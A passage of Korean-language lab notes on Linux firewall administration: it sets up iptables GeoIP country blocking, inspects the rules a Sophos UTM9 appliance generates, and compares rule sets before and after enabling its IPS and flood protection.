[root@web1 geoip]# mkdir -p /usr/share/xt_geoip/
[root@web1 geoip]# cp -r {BE,LE} /usr/share/xt_geoip/
[root@web1 geoip]# ls /usr/lib64/xtables/ | grep -i geoip
libxt_geoip.so

3. iptables 룰 설정
[root@web1 geoip]# iptables -F
[root@web1 geoip]# iptables -A INPUT -m geoip --src-cc BR -j ACCEPT
[root@web1 geoip]# iptables -A INPUT -m geoip --src-cc KR -j DROP
[root@web1 geoip]# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR
DROP       all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country KR


커널에 올라간 geoip 모듈을 확인한다.
[root@web1 geoip]# lsmod | grep geoip
xt_geoip               12775  2
</code></pre><blockquote>
<p><strong>실습&gt; UTM에서 geoip 모듈 확인</strong></p>
</blockquote>
<pre><code>utm9:/root # ls /usr/lib/xtables/libxt_geo*
/usr/lib/xtables/libxt_geoip.so


Country blocking enabled 로 설정하고 ALL로 설정하면 iptables 방화벽룰이 올라온다.
utm9:/root # iptables-save &gt; iptables.txt
utm9:/root # vi iptables.txt 

utm9:/root # grep -i geoip iptables.txt
:GEOIP_DROP - [0:0]
:GEOIP_FORWARD - [0:0]
:GEOIP_IN - [0:0]
-A INPUT ! -i lo -m conntrack --ctstate INVALID,NEW,RELATED -j GEOIP_IN
-A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED -j GEOIP_FORWARD
-A GEOIP_DROP -m limit --limit 1/sec -m logmark --logmark 60019  -j NFLOG --nflog-prefix  &quot;GEOIP_DROP: &quot;
-A GEOIP_DROP -j DROP
-A GEOIP_FORWARD -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country CY,RE  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country CY,RE  -j GEOIP_DROP
-A GEOIP_IN -p tcp -m tcp --sport 1:65535 --dport 4444 -j RETURN
-A GEOIP_IN -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country CY,RE  -j GEOIP_DROP
:GEOIP_OUT - [0:0]
:GEOIP_REJECT - [0:0]
-A OUTPUT ! -o lo -m conntrack --ctstate INVALID,NEW,RELATED -j GEOIP_OUT
-A GEOIP_OUT -p tcp -m tcp --sport 1:65535 --dport 3400 -m owner --uid-owner 0 -j RETURN
-A GEOIP_OUT -p udp -m set --match-set NhXm9VweIyX1mxo4LPNRGw dst -m udp --sport 123:65535 --dport 123 -j RETURN
-A GEOIP_OUT -m owner --uid-owner 810 -j RETURN
-A GEOIP_OUT -p tcp -m tcp --sport 1024:65535 --dport 53 -j RETURN
-A GEOIP_OUT -p udp -m udp --sport 1024:65535 --dport 53 -j RETURN
-A GEOIP_OUT -p tcp -m tcp --sport 1:65535 -m multiport --dports 80,443 -m owner --uid-owner 0 -j RETURN
-A GEOIP_OUT -m geoip --destination-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country CY,RE  -j GEOIP_REJECT
-A GEOIP_REJECT -m limit --limit 1/sec -m logmark --logmark 60019  -j NFLOG --nflog-prefix  &quot;GEOIP_DROP: &quot;
-A GEOIP_REJECT -p tcp -j REJECT --reject-with tcp-reset
-A GEOIP_REJECT -j REJECT --reject-with icmp-port-unreachable
</code></pre><blockquote>
<p><strong>실습&gt; GEOIP를 iptables에 적용하기</strong></p>
</blockquote>
<pre><code>UTM에서 설정할 때는 Country blocking 비활성화하고 적용한다.
[Network Protection] &gt; [Firewall] &gt; [Country Blocking Tab] &gt; [비활성화] 

iptables에 GEOIP 모듈이 올라간 상태에서
UTM 장비에서 설정한 룰을 그대로 가져다 WEB#1에 등록해도 사용할 수 있다.
GEOIP가 인식되지 않으면 룰을 사용할 수 없다. (-m geoip)

iptables -F
systemctl stop firewalld
systemctl disable firewalld
yum -y install iptables-services
iptables -F
iptables -A INPUT -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j ACCEPT
iptables -A INPUT -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j ACCEPT
iptables -A INPUT -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j ACCEPT
iptables -A INPUT -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j ACCEPT
iptables -A INPUT -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j ACCEPT
iptables -A INPUT -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j ACCEPT
iptables -A INPUT -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j ACCEPT
iptables -A INPUT -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j ACCEPT
iptables -A INPUT -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j ACCEPT
iptables -A INPUT -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j ACCEPT
iptables -A INPUT -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j ACCEPT
iptables -A INPUT -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j ACCEPT
iptables -A INPUT -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j ACCEPT
iptables -A INPUT -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j ACCEPT
iptables -A INPUT -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j ACCEPT
iptables -A INPUT -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j ACCEPT

[root@web1 geoip]# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP
</code></pre><blockquote>
<p><strong>실습&gt; 국가별 패킷 카운터 확인</strong></p>
</blockquote>
<pre><code>1. 대한민국 패킷 카운터 확인
[root@web1 geoip]# iptables -Z
[root@web1 geoip]# iptables -nvL INPUT | grep -E &#39;pkts|KR&#39;
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW 

[root@web1 geoip]# ping -c 3 168.126.63.1
PING 168.126.63.1 (168.126.63.1) 56(84) bytes of data.
64 bytes from 168.126.63.1: icmp_seq=1 ttl=127 time=5.11 ms
64 bytes from 168.126.63.1: icmp_seq=2 ttl=127 time=4.52 ms
64 bytes from 168.126.63.1: icmp_seq=3 ttl=127 time=6.44 ms

--- 168.126.63.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 4.527/5.364/6.448/0.807 ms

[root@web1 geoip]# iptables -nvL INPUT | grep -E &#39;pkts|KR&#39;
 pkts bytes target     prot opt in     out     source               destination         
    3   252 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW 

2. 미국 패킷 카운터 확인
[root@web1 geoip]# iptables -nvL INPUT | grep -E &#39;pkts|US&#39;
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC 

[root@web1 geoip]# ping -c 5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=49.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=49.0 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=52.5 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=49.3 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=127 time=49.4 ms

--- 8.8.8.8 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4009ms
rtt min/avg/max/mdev = 49.060/50.036/52.557/1.312 ms

3. 브라질 패킷 카운터 확인
[root@web1 geoip]# iptables -nvL INPUT | grep -E &#39;pkts|US&#39;
 pkts bytes target     prot opt in     out     source               destination         
    5   420 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC 

[root@web1 geoip]# iptables -nvL INPUT | grep -E &#39;pkts|BR&#39;
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC
[root@web1 geoip]# ping -c 2 200.200.200.1
PING 200.200.200.1 (200.200.200.1) 56(84) bytes of data.
64 bytes from 200.200.200.1: icmp_seq=1 ttl=127 time=0.483 ms
64 bytes from 200.200.200.1: icmp_seq=2 ttl=127 time=0.490 ms

--- 200.200.200.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.483/0.486/0.490/0.022 ms
[root@web1 geoip]# iptables -nvL INPUT | grep -E &#39;pkts|BR&#39;
 pkts bytes target     prot opt in     out     source               destination
    2   168 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC

전체 패킷 카운터를 확인한다.
[root@web1 geoip]# iptables -nvL
Chain INPUT (policy ACCEPT 210 packets, 12549 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN
    2   168 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC
    6   480 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE
    5   420 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP
</code></pre><pre><code>########
## IPS 
########</code></pre><blockquote>
<p><strong>실습&gt; IPS 방화벽 룰 분석</strong></p>
</blockquote>
<pre><code>IPS 활성화 하기 전 방화벽룰을 iptables1.txt로 저장한다.
utm9:/root # iptables-save &gt; iptables1.txt 

IPS 활성화 한 후 방화벽룰을 iptables2.txt로 저장한다.
utm9:/root # iptables-save &gt; iptables2.txt 

라인 수를 비교하면 30줄 정도 차이가 난다.
utm9:/root # wc -l iptables1.txt iptables2.txt 
  228 iptables1.txt
  258 iptables2.txt
  486 total

utm9:/root # diff iptables1.txt iptables2.txt 
utm9:/root # vimdiff iptables1.txt iptables2.txt 

utm9:/root # grep NFQUEUE iptables1.txt 

IPS기능을 활성화 하면 snort의 NFQUEUE가 올라온 것을 확인할 수 있다.
utm9:/root # grep NFQUEUE iptables2.txt 
-A INPUT -m condition --condition &quot;snort-takeover&quot;  -j NFQUEUE --queue-num 16000
-A INPUT -j NFQUEUE --queue-num 0
-A FORWARD -m condition --condition &quot;snort-takeover&quot;  -j NFQUEUE --queue-num 16000
-A FORWARD -j NFQUEUE --queue-num 0
-A OUTPUT -m condition --condition &quot;snort-takeover&quot;  -j NFQUEUE --queue-num 16000
-A OUTPUT -j NFQUEUE --queue-num 0
</code></pre><blockquote>
<p><strong>실습&gt; IPS 설정</strong></p>
</blockquote>
<pre><code>1. IPS 가 Off 인 경우
[Network Protection] &gt; [Intrusion Prevention] &gt; [Global] &gt; Off
기본값은 꺼져있다.

2. IPS 가 On 인 경우
[Network Protection] &gt; [Intrusion Prevention] &gt; [Global] &gt; On

보호할 네트워크를 지정한다.
[Global IPS Settings] &gt; [Local Networks]&gt; 
아래 2개를 추가한다.
DMZ(Network)
Internal(Network)

Apply 버튼을 클릭해서 IPS를 활성화 시킨다.

3. 로그 모니터링
공격에 관한 로그들을 확인하기 위해서 모니터링한다.

[Open Live Log] 버튼을 클릭한다.

4. 로그 모니터링 URL 확인
https://192.168.10.253:4444/logwin.html


utm9:/root # find / -name logwin.html 2&gt; /dev/null
/var/sec/chroot-httpd/var/webadmin/logwin.html

utm9:/var/sec/chroot-httpd/var/webadmin # ls -F
astaro-license.txt  extra/             img/         printable_configuration/    var/
blank.html          favicon.ico        libs/        querylogwin.html            vendor/
config@             flow_monitor.html  locales/     up2date_progress.plx*       webadmin.plx*
core/               help/              logwin.html  upload_form.html            wfe/
epsecd.conf         hotspot-files@     manual/      utm-3rd-party-licenses.txt

utm9:/var/sec/chroot-httpd/var/webadmin # ls manual/
manual-de.pdf  manual-en.pdf  manual-jp.pdf

메뉴얼을 접속한다.
https://192.168.10.253:4444/manual/manual-en.pdf


[Network Protection] &gt; [Intrusion Prevention] &gt; [Anti/DOS flooding] 

[ ] Use TCP SYN Flood Protection
utm9:/root # iptables-save &gt; iptablesTCP_syn_flood1.txt

[v] Use TCP SYN Flood Protection
utm9:/root # iptables-save &gt; iptablesTCP_syn_flood2.txt

vimdiff: vi 로 두 파일의 서로 다른 부분을 보여준다.
utm9:/root # vimdiff iptablesTCP_syn_flood1.txt iptablesTCP_syn_flood2.txt 
  :
  :(생략)

차이점: iptablesTCP_syn_flood2.txt 에 저장된 룰
-A DOS_FLOOD_PROTECTION -p udp -j UDP_FLOOD

-A UDP_FLOOD -j UDP_FLOOD_SRC     
-A UDP_FLOOD_DROP -m limit --limit 5/sec -m logmark 
-A UDP_FLOOD_DROP -j DROP 
  :
  :(생략)

utm9:/root # diff iptablesTCP_syn_flood1.txt iptablesTCP_syn_flood2.txt 
  :
  :(생략)
&lt; :OUTPUT ACCEPT [40:5706]
---
&gt; :OUTPUT ACCEPT [19:1242]
248a249
&gt; -A DOS_FLOOD_PROTECTION -p udp -j UDP_FLOOD
256a258,264
